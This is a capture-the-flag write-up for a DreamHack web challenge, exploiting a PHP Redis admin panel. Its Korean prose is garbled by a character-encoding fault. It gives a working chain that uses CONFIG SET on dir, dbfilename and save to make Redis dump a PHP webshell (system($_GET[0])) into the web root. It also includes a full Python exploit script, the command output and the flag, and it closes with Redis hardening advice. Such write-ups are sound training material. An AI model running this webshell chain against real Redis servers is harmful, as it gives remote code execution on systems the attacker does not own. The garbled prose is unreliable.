[๐ฅ Silver 1] Redis๊ฐ ๋ฐฅ ๋จน๋ฏ ๋จ๊ธฐ๋ RDB๋ก ์น์
ธ์ ๊ตฝ๋ค โ DreamHack phpMyRedis ํ์ด โ ZINO2026-07-13ยท1๋ถ ์ฝ๊ธฐยท
Redis eval๋ก Lua๋ฅผ ๋๋ฆฌ๊ณ config๋ก CONFIG๋ฅผ ๋ง์ง ์ ์๋ PHP ์ฑ์ด๋ค. Lua์์ SAVE๋ ๋งํ ์์ง๋ง, CONFIG๋ก RDB ์ ์ฅ ์์น๋ฅผ ์น ๋ฃจํธ๋ก ๋๋ฆฌ๊ณ save ์ ์ฑ
์ "1์ด 1๋ณ๊ฒฝ"์ผ๋ก ๋ฐ๊ฟ ์๋ ์ ์ฅ์ ์ ๋ํ๋ค. RDB ๋คํ์ ์ฌ์ <?php ์น์
ธ๋ก RCE, ์คํ ์ ์ฉ /flag๋ฅผ ๋๋ ค flag๋ฅผ ์ป์๋ค.
๋ฌธ์ : DreamHack โ phpMyRedis
๋ถ๋ฅ: Web
๋์ด๋: ๐ฅ Silver 1
FLAG: DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}
phpMyAdmin์ Redis ๋ฒ์ ๊ฐ์ ๊ด๋ฆฌ ๋๊ตฌ๋ค. ๋ช
๋ น ํ์ด์ง์์ Redis eval๋ก Lua ์คํฌ๋ฆฝํธ๋ฅผ ๋๋ฆฌ๊ณ , config ํ์ด์ง์์ CONFIG GET/SET์ ๋ง์ง ์ ์๋ค. ์ด ๋์ ์ฎ์ผ๋ฉด Redis์ ๊ณ ์ ๊ธฐ๋ฒ โ RDB ์ค๋
์ท์ ์น ๋ฃจํธ์ ์ ์ฅํด PHP ์น์
ธ์ ๋ง๋๋ RCE๋ก ์ด์ด์ง๋ค.
index.php โ Redis eval(Lua)์ ์คํํ๋ Command ์ธํฐํ์ด์ค
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|
| ๋ฌธ์ ๋ช
| phpMyRedis |
| ๋์ด๋ | ๐ฅ Silver 1 |
| ๋ถ๋ฅ | Web (PHP 7.1 + Redis) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | index.php, config.php, core.php / http://host3.dreamhack.games:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | Redis RDB ์น์
ธ โ CONFIG๋ก ์ ์ฅ ์์น๋ฅผ ์น ๋ฃจํธ๋ก ๋๋ ค RCE |
flag๋ /flag์ ์๊ณ (Dockerfile), ./data/ ๋๋ ํ ๋ฆฌ๋ ์ ์น์ผ๋ก ์ ๊ทผ๋๋ค(). ๋จ์ ๊ฑด Redis์๊ฒ ์ฐ๋ฆฌ ์ฝ๋๋ฅผ ๊ทธ ๋๋ ํ ๋ฆฌ์ PHP ํ์ผ๋ก ๋ฑ๊ฒ ๋ง๋๋ ๊ฒ์ด๋ค.
์ด ๊ธ์ด ๋์์ด ๋๋์?
chmod 777
/data/
๐งฉ ๋ฐฐ๊ฒฝ โ Redis eval, CONFIG, ๊ทธ๋ฆฌ๊ณ RDB
์ธ ๊ฐ์ง ๊ฐ๋
์ด๋ฉด ์ด ๋ฌธ์ ๊ฐ ํ๋ฆฐ๋ค.
Redis EVAL ์ ์๋ฒ์์ Lua ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ค. ์คํฌ๋ฆฝํธ ์์์ redis.call(...)๋ก ๋๋ถ๋ถ์ Redis ๋ช
๋ น์ ๋ถ๋ฅผ ์ ์๋ค. ๋ค๋ง Lua๋ ์๋๋ฐ์ค๋ผ ioยทos ํ์ผ ์ ๊ทผ์ด ๋งํ ์๊ณ , SAVEยทBGSAVEยทCONFIG ๊ฐ์ ๊ด๋ฆฌยท๋น๊ฒฐ์ ์ ๋ช
๋ น๋ ์คํฌ๋ฆฝํธ์์ ํธ์ถํ๋ฉด ๊ฑฐ๋ถ๋๋ค.
CONFIG SET ์ Redis ๋ฐํ์ ์ค์ ์ ๋ฐ๊พผ๋ค. ํนํ dir(์์
๋๋ ํ ๋ฆฌ)๊ณผ dbfilename(RDB ํ์ผ ์ด๋ฆ), save(์๋ ์ ์ฅ ์ ์ฑ
)๋ฅผ ๋ฐ๊ฟ ์ ์๋ค.
RDB ๋ Redis์ ์ค๋
์ท ํ์ผ์ด๋ค. SAVE๋ ์๋ ์ ์ฅ์ด ์ผ์ด๋๋ฉด ํ์ฌ ๋ชจ๋ ํค๋ฅผ dir/dbfilename์ ๋ฐ์ด๋๋ฆฌ๋ก ๋คํํ๋ค. ์ด ํ์ผ์ <?php ... ?> ๋ฌธ์์ด์ด ๋ค์ด ์๊ณ , ๊ทธ ํ์ผ์ด .php๋ก ์น์์ ์คํ๋๋ฉด โ PHP๋ ๋ฐ์ด๋๋ฆฌ ์ก์์ ๋ฌด์ํ๊ณ <?php> ๋ธ๋ก๋ง ์คํํ๋ค. ๊ทธ๋์ ํค ๊ฐ์ PHP ์ฝ๋๋ฅผ ๋ฃ๊ณ RDB๋ฅผ ์น ๋ฃจํธ์ ์ ์ฅํ๋ฉด ์น์
ธ์ด ๋๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ ๋ ๊ฐ์ ์๋ํฌ์ธํธ
index.php์ config.php๊ฐ ๊ฐ๊ฐ ํ๋์ฉ ๋ฅ๋ ฅ์ ์ค๋ค.
// index.php โ Lua eval
$redis->eval($_POST['cmd']); // ์์ Lua/redis.call (SET ๊ฐ๋ฅ)
// config.php โ CONFIG
$redis->config($_POST['option'], $_POST['key'], $_POST['value']); // GET/SET
core.php๋ฅผ ๋ณด๋ฉด Redis๋ localhost:6379, PHP ์ธ์
๋ Redis์ ์ ์ฅ๋๋ค. ๊ทธ๋ฆฌ๊ณ Dockerfile์ด chmod 777 /var/www/html/data/ ํ๊ณ flag๋ฅผ /flag์ ๋๋ค. config ํ์ด์ง๋ GET/SET์ ๊ณ ๋ฅด๊ณ keyยทvalue๋ฅผ ๋ฃ๋ ๋จ์ํ CONFIG ํผ์ด๋ค.
config.php โ CONFIG GET/SET ์ธํฐํ์ด์ค
์ฌ๊ธฐ์ ๊ฐ๋ฆฐ๋ค. eval๋ก SET์ ๋์ง๋ง, RDB๋ฅผ ๋์คํฌ์ ์ฐ๋ SAVEยทBGSAVE๋ ์ค์ ์ ๋ฐ๊พธ๋ CONFIG๋ Lua ์คํฌ๋ฆฝํธ์์ ๊ฑฐ๋ถ๋๋ค. ๋์ config.php๋ CONFIG๋ฅผ Lua๋ฅผ ๊ฑฐ์น์ง ์๊ณ ์ง์ ์คํํ๋ฏ๋ก ์ ์ฝ์ด ์๋ค. ์ค์ ๋ก ์ฐ๋ฌ๋ณด๋ฉด ์ด ๊ฒฝ๊ณ๊ฐ ์ ๋ช
ํ๊ฒ ๋๋ฌ๋๋ค.
eval์์ SET/GET๋ง ๋๊ณ SAVEยทBGSAVEยทCONFIG๋ false / config.php๋ CONFIG ์ง์ ์คํ
eval์ redis.call('config','get','dir')๋ false(์ฐจ๋จ)์ง๋ง, config.php์ CONFIG GET dir์ ๊ฐ์ ๊ทธ๋๋ก ๋๋ ค์ค๋ค. ์น ํ๋ฉด์์๋ ๋๊ฐ๋ค.
index.php eval์์ config get์ด ์ฐจ๋จ๋ผ false ๋ฐํ
๐ ์ฝ์ง โ SAVE๋ฅผ ์ง์ ๋ชป ๋ถ๋ฅธ๋ค
โถ๐ ์ฝ์ง โ RDB๋ฅผ ์ฐ๋ ค๋ฉด SAVE๊ฐ ํ์ํ๋ฐ Lua๋ config๋ SAVE๋ ์ ์ค๋ค
RDB ์น์
ธ์ ํต์ฌ์ "ํค๋ฅผ ์ธํ
ํ ๋ค RDB๋ฅผ ๋์คํฌ์ ์ฐ๋ ๊ฒ"์ด๋ค. ๋ณดํต์ SAVE๋ BGSAVE๋ฅผ ๋ถ๋ฅด๋ฉด ๋๋ค. ๊ทธ๋ฐ๋ฐ ์ฌ๊ธฐ์ :
eval์ redis.call('save') โ false (Lua ์คํฌ๋ฆฝํธ์์ ๊ด๋ฆฌ ๋ช
๋ น ๊ฑฐ๋ถ)
config.php๋ CONFIG๋ง ๋
ธ์ถ โ SAVE ๋ช
๋ น ์์ฒด๋ฅผ ๋ถ๋ฅผ ๋ฐฉ๋ฒ์ด ์๋ค
์ฆ ์ ์ฅ์ ์ง์ ํธ๋ฆฌ๊ฑฐํ ์์ก์ด๊ฐ ์๋ค. ์ฌ๊ธฐ์ ๋งํ๋ค๊ฐ, Redis์ save ์ค์ ์ ๋ ์ฌ๋ ธ๋ค. save "N M"์ "N์ด ์์ M๋ฒ ๋ณ๊ฒฝ์ด ์ผ์ด๋๋ฉด ์๋ ์ ์ฅ"์ด๋ค. ๊ธฐ๋ณธ๊ฐ์ 3600 1 โฆ(1์๊ฐ์ 1๋ณ๊ฒฝ) ์ด๋ผ ๋๋ฆฌ์ง๋ง, CONFIG SET save "1 1"๋ก **"1์ด ์์ 1๋ณ๊ฒฝ์ด๋ฉด ์ ์ฅ"**์ผ๋ก ๋ฐ๊พธ๋ฉด, ํค ํ๋๋ง ๋ฐ๊ฟ๋ 1์ด ๋ค Redis๊ฐ ์์์ RDB๋ฅผ ์ด๋ค. SAVE๋ฅผ ๋ชป ๋ถ๋ฅด๋ ์๋ ์ ์ฅ์ ์ ๋ํ๋ ๊ฒ์ด๋ค.
์ ๋ฆฌํ๋ฉด, config.php๋ก ์ ์ฅ ์์น(dirยทdbfilename)์ ์ ์ฅ ์ ์ฑ
(save)์ ๋ฐ๊พธ๊ณ , eval๋ก ์น์
ธ ํค๋ฅผ ๋ฃ์ ๋ค, ๋ณ๊ฒฝ์ ์ผ์ผ์ผ ์๋ ์ ์ฅ์ ๊ธฐ๋ค๋ฆฐ๋ค.
๐ฃ ํต์ฌ โ RDB๋ฅผ ์น ๋ฃจํธ๋ก ๋๋ฆฌ๊ณ ์น์
ธ์ ๊ตฝ๋๋ค
Redis RDB ์น์
ธ ์ฒด์ธ โ CONFIG๋ก ์ ์ฅ ์์น๋ฅผ ์น๋ฃจํธ๋ก, save ์ ์ฑ
์ผ๋ก ์๋์ ์ฅ ์ ๋
config.php โ CONFIG SET dir /var/www/html/data(777ยท์น ์ ๊ทผ), dbfilename poc.php, rdbcompression no(์น์
ธ ์กฐ๊ฐ์ด LZF ์์ถ์ผ๋ก ๊นจ์ง์ง ์๊ฒ).
config.php โ CONFIG SET save "1 1"(1์ด 1๋ณ๊ฒฝ ์๋ ์ ์ฅ).
index.php eval โ ํค ํ๋์ PHP ์น์
ธ์ ๋ฃ๋๋ค. ์ธ์ฉ๋ถํธ ์ด์ค์ผ์ดํ ๋ฌธ์ ๋ฅผ ํผํ๋ ค๊ณ $_GET[0](๋ฐ์ดํ ์๋ ์ซ์ ํค)์ ์ด๋ค.
return redis.call("set","x","\n<?php system($_GET[0]); ?>\n")
์ด SET์ด ๋ณ๊ฒฝ์ ์ผ์ผํค๊ณ , save "1 1" ์ ์ฑ
์ ๋ฐ๋ผ ๊ณง Redis๊ฐ ๋ชจ๋ ํค๋ฅผ /var/www/html/data/poc.php์ RDB๋ก ๋คํํ๋ค. config.php๋ก dir์ด ๋ฐ๋ ๊ฑธ ํ์ธํ ์ ์๋ค.
config.php โ CONFIG GET dir์ด /var/www/html/data๋ก ๋ฐ๋
์ด์ /data/poc.php๋ RDB ๋ฐ์ด๋๋ฆฌ ํ์ผ์ด์ง๋ง .php ํ์ฅ์๋ผ Apache๊ฐ ์คํํ๋ค. PHP๋ ๋ฐ์ด๋๋ฆฌ ์ก์์ ๋ฌด์ํ๊ณ ์ฐ๋ฆฌ๊ฐ ์ฌ์ <?php system($_GET[0]); ?>๋ง ์คํํ๋ค.
๐ฏ ์ต์คํ๋ก์ โ ์น์
ธ๋ก /flag ์คํ
/data/poc.php?0=<๋ช
๋ น>์ผ๋ก ๋ช
๋ น์ ์คํํ๋ค. www-data ๊ถํ์ด๋ค. /flag๋ฅผ cat ํ๋ ค ํ๋ฉด Permission denied โ flag๋ ---x--x--x(์คํ ์ ์ฉ) ๋ฐ์ด๋๋ฆฌ๋ค. ์ฝ์ ์ ์์ง๋ง ์คํํ ์ ์์ผ๋, ?0=/flag๋ก ๊ทธ๋ฅ ๋๋ฆฌ๋ฉด flag๋ฅผ ์ถ๋ ฅํ๋ค.
/data/poc.php?0=/flag โ RDB ๋คํ ์ ์น์
ธ์ด /flag ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํด flag ์ถ๋ ฅ
RDB ๋คํ์ ์ก์ ์ฌ์ด, ์ฐ๋ฆฌ๊ฐ ์ฌ์ ํค x ์๋ฆฌ์ /flag ์คํ ๊ฒฐ๊ณผ DH{...}๊ฐ ๊ทธ๋๋ก ์ฐํ๋ค.
๐ Full Exploit
CONFIG ์ธํ
โ ์น์
ธ SET โ ์๋ ์ ์ฅ ํด๋ง โ /flag ์คํ์ ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค. config.php(CONFIG)์ index.php(eval)๋ฅผ ๋ฒ๊ฐ์ ์ด๋ค.
import requests, re, time
B = "http://host3.dreamhack.games:<port>"
s = requests.Session()
cfg = lambda k, v: s.post(B+"/config.php", data={"option":"SET","key":k,"value":v}, timeout=10)
ev = lambda c: s.post(B+"/index.php", data={"cmd":c}, timeout=10)
for k, v in [("rdbcompression","no"), ("dir","/var/www/html/data"),
("dbfilename","poc.php"), ("save","1 1")]:
cfg(k, v)
ev('return redis.call("set","x","\\n<?php system($_GET[0]); ?>\\n")') # ์น์
ธ ํค
# ์๋ ์ ์ฅ ์ ๋: ๋งค์ด ๋ณ๊ฒฝ -> RDB๊ฐ poc.php๋ก ์ ์ฅ๋ ๋๊น์ง ํด๋ง
for i in range(12):
ev(f'return redis.call("set","trg","{int(time.time())}{i}")')
time.sleep(1.0)
if b"RCEOK" in s.get(B+"/data/poc.php", params={"0":"echo RCEOK"}, timeout=10).content:
break
# /flag ๋ ์คํ ์ ์ฉ ๋ฐ์ด๋๋ฆฌ -> ์คํํ๋ฉด flag ์ถ๋ ฅ
t = s.get(B+"/data/poc.php", params={"0":"/flag"}, timeout=10).content
print("[+] FLAG:", re.search(rb"DH\{[^}]+\}", t).group(0).decode())
๋๋ฆฌ๋ฉด ์๋ ์ ์ฅ์ด ๊ฑธ๋ฆฐ ๋ค flag๊ฐ ๋์จ๋ค.
solve.py ์คํ โ RDB ์น์
ธ๋ก /flag ์คํํด flag ํ์
[+] /flag ์คํ โ DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}
๐ ๊ฒฐ๋ก
Redis์ ์์ ๋ช
๋ น์ ์ฃผ๋ฉด ๊ทธ๊ฑด ๊ณง ํ์ผ ์ฐ๊ธฐ์ด๊ณ , ํ์ผ ์ฐ๊ธฐ๋ ๊ณง RCE๋ค.
eval๊ณผ config๋ฅผ ๋
ธ์ถํ ์๊ฐ, ๊ณต๊ฒฉ์๋ Redis์ ์ ์ฅ ์์น๋ฅผ ์น ๋ฃจํธ๋ก ๋๋ ค ์๊ธฐ ์ฝ๋๋ฅผ PHP ํ์ผ๋ก ๋ฑ๊ฒ ํ ์ ์๋ค. Redis๋ฅผ ์ธํฐ๋ทยท์ ๋ขฐ ๊ฒฝ๊ณ์ ๋
ธ์ถํ์ง ์๋ ๊ฒ ๋จผ์ ๊ณ , ๋ถ๊ฐํผํ๋ค๋ฉด rename-command๋ก CONFIGยทSAVEยทEVAL ๊ฐ์ ์ํ ๋ช
๋ น์ ๋ง๊ณ , protected-mode์ ์ธ์ฆ์ ์ผ์ผ ํ๋ค. ์น ์ฑ์ด Redis ๋ช
๋ น์ ์ฌ์ฉ์์๊ฒ ์ค๊ณํ๋ ์ด ๊ตฌ์กฐ ์์ฒด๊ฐ ์ํํ๋ค.
"์ง์ ๋ชป ๋ถ๋ฅด๋ ๋ช
๋ น"๋ ์ ์ฑ
์ ๋ฐ๊พธ๋ฉด ์ฐํ๋๋ค.
SAVE๋ฅผ ์คํฌ๋ฆฝํธ์์ ๋ง์์ง๋ง, save ์ค์ ์ "1์ด 1๋ณ๊ฒฝ"์ผ๋ก ๋ฐ๊ฟ ์๋ ์ ์ฅ์ ์ ๋ํ๋ ๊ฒฐ๊ตญ ์ ์ฅ์ด ์ผ์ด๋ฌ๋ค. ํน์ ๋ช
๋ น ํ๋๋ฅผ ๋ง๋ ๊ฒ์ผ๋ก ๋ถ์กฑํ๋ค โ ๊ทธ ๋ช
๋ น์ด ํ๋ ์ผ(๋์คํฌ ์ฐ๊ธฐ)์ ์ ๋ฐํ๋ ๋ค๋ฅธ ๊ฒฝ๋ก(CONFIG SET save, dir, dbfilename)๊น์ง ํจ๊ป ํต์ ํด์ผ ํ๋ค.
์ฝ๊ธฐ ๊ถํ์ ๋ง์๋ ์คํ ๊ถํ์ด ์์ผ๋ฉด ์์ด ๋๊ฐ๋ค.
flag๋ฅผ ---x--x--x๋ก ๋์ด cat์ ๋ง์์ง๋ง, ์คํ ๋นํธ๊ฐ ์ด๋ ค ์์ด ๊ทธ๋ฅ ๋๋ฆฌ๋ flag๊ฐ ๋์๋ค. ๋ฏผ๊ฐํ ๊ฐ์ ๋ด์ ํ์ผยท๋ฐ์ด๋๋ฆฌ๋ ํ์ ์ต์ํ์ ๊ถํ(๊ทธ๋ฆฌ๊ณ ์น ์๋ฒ ๊ณ์ ์ด ์ ๊ทผ ๋ชป ํ๊ฒ)์ผ๋ก ๋์ด์ผ ํ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ